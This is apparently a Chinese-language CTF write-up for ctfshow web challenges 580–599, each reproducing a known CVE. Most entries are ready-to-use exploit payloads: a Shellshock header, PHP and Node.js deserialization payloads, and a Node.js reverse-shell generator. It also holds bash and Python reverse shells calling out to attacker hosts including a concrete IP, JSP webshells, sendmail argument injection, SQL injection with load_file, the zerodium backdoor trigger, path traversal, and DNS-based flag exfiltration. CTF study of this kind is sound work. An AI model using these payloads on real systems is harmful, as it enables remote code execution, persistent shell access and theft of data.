web580
根据提示发现Bash Shellshock 破壳漏洞(CVE-2014-6271)
payload
User-Agent:() { :; }; echo; /bin/cat /flag
web581
参考文章
CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造
构造反序列化payload
<?php
class log{
public $filename;
public $content;
public function __construct($n,$c){
$this->filename=$n;
$this->content=$c;
}
public function __destruct(){
file_put_contents($this->filename, $this->content);
}
}
echo(serialize(new log("/var/www/html/1.php","<?php @eval(\$_POST[1])?>")));
payload
content=!php/object O:3:"log":2:{s:8:"filename";s:19:"/var/www/html/1.php";s:7:"content";s:24:"<?php @eval($_POST[1])?>";}
web582
poc
var y = {
poc : function(){
require('child_process').exec('env', function(error, stdout, stderr){ console.log(stdout) });
}
}
var s = require('node-serialize');
console.log("Serialized:\n" + s.serialize(y));
nodejs执行命令没有回显
使用nodejsshell.py(需要python2环境)
import sys
if len(sys.argv) != 3:
print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
sys.exit(0)
IP_ADDR = sys.argv[1]
PORT = sys.argv[2]
def charencode(string):
"""String.CharCode"""
encoded = ''
for char in string:
encoded = encoded + "," + str(ord(char))
return encoded[1:]
print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
var client = new net.Socket();
client.connect(PORT, HOST, function() {
var sh = spawn('/bin/sh',[]);
client.write("Connected!\\n");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
sh.on('exit',function(code,signal){
client.end("Disconnected!\\n");
});
});
client.on('error', function(e) {
setTimeout(c(HOST,PORT), TIMEOUT);
});
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)
将脚本生成payload加入下方payload
处,需要在username参数最后手动添加括号
{"username":"_$$ND_FUNC$$_function(){payload}()","password":"123"}
base64编码后,发送
vps收到反弹shell,执行命令即可。
web583
参考文章PHPMailer 命令执行漏洞(CVE-2016-10033)分析
主要是绕过对email正则的校验,然后利用空格注入sendmail的其他参数命令。
payload
name=<?php%20system('cat%20/flag_is_here');?>&email="aaa".%20-OQueueDirectory=/tmp/.%20-X/var/www/html/a.php%20@aaa.com&message=qaz
web584
参考文章Spring Data REST 远程代码执行漏洞(CVE-2017-8046)分析与复现
使用post方法创建一个用户
使用patch方法修改内容,需要将Content-Type指定为application/json-patch+json
在path参数处注入SpEL表达式。
反弹shell命令
bash -i >& /dev/tcp/ip/port 0>&1
使用脚本编码为bytecode
payload = b'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)
payload
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,57,112,99,67,57,119,98,51,74,48,73,68,65,43,74,106,69,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "ctfshow" }]
web585
参考文章Tomcat PUT方法任意写文件漏洞POC CVE-2017-12615
传一个小马
<%
if("1".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("p")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
web586
参考WordPress Plugin Double Opt-In for Download 2.0.9 - SQL Injection
需要注册账号并登录。
使用load_file
读取/flag_is_here
/wp-admin/admin-ajax.php?action=populate_download_edit_form
id=0 UNION SELECT 1, 2, 4, 5, 6, 7, load_file(0x2f666c61675f69735f68657265)
web587
参考文章[weblogic 远程代码执行 CVE-2019-2725
访问控制台页面/console/login/LoginForm.jsp
发现版本为10.3.6.0
使用工具扫到存在CVE-2017-10271
web588
weblogic版本为12.2.1.3.0
利用上题工具执行env
web589
参考文章CVE-2016-3088 ActiveMQ任意文件写入漏洞
访问/admin
路径
默认账户密码admin/admin 登录
访问/admin/test/systemProperties.jsp
获得web目录的绝对路径
使用PUT方法上传小马
使用MOVE方法移动到web目录下
访问webshell
admin/1.jsp?pwd=1&p=env
web590
使用工具Apereo-CAS attack生成payload
使用反弹shell的方式
java -jar .\apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}"
将payload放在登录包中的execution参数中
web591
参考文章Apache HTTPD 换行解析漏洞分析与复现(CVE-2017-15715)
文件上传处对文件名做了校验,使用%0a的方式绕过,详细分析看上面文章,不要直接换行,会变成0x0d0x0a
,使用hex修改的方式在文件名最后添加0x0a
web592
上传文件名为1.php.png
只要给.php后缀增加了处理器,在多个后缀情况下,只要含有.php
后缀的文件即将被识别成PHP文件
web593
上传shtml文件
<!--#exec cmd="cat /flag"-->
访问即可执行命令。
web594
参考文章CVE-2021-3129 Laravel Debug mode RCE 漏洞分析
这个漏洞的利用过程还是挺精彩的,主要是利用伪协议清除无关数据干扰,写入phar文件的过程。
生成反序列化payload的工具phpggc
这里利用 Monolog 库的链,也可以用Laravel自带的链。
使用其他人写好的exp,有问题可以自己修改下。😘
web595
参考文章PHP zerodium后门漏洞
User-Agentt: zerodiumsystem('cat /flag');
web596
这个漏洞还是很复杂,等有需要再慢慢分析。
上传图片1.png,参考poc.png
将payload处改为反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.109.140.38",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
web597
参考文章Ruby On Rails 路径穿越漏洞(CVE-2018-3760)
访问链接/assets/file:%2f%2f/etc/passwd
获取允许的目录列表
再使用%252e%252e
向上一层跳转读取其他文件。
/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/flag
web598
参考文章Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)
Accept: ../../../../../../../../flag{{
web599
参考文章Ruby NetFTP 模块命令注入漏洞 CVE-2017-17405
自己起一个ftp服务
# 安装pyftpdlib
pip install pyftpdlib
# 在当前目录下启动一个ftp服务器,默认监听在`0.0.0.0:8080`端口
python3 -m pyftpdlib -p 8080 -i 0.0.0.0
参考payload如下
GET /download?uri=ftp://ip:port/&file=|ping${IFS}$FLAG.4d62192e-9edb-4352-9024-cb01ee487a23.dnshook.site${IFS}-c${IFS}5 HTTP/1.1
执行不了命令,不知道为啥。。。
一开始以为是vps防火墙问题,全端口开放后依然无法顺利执行命令。。。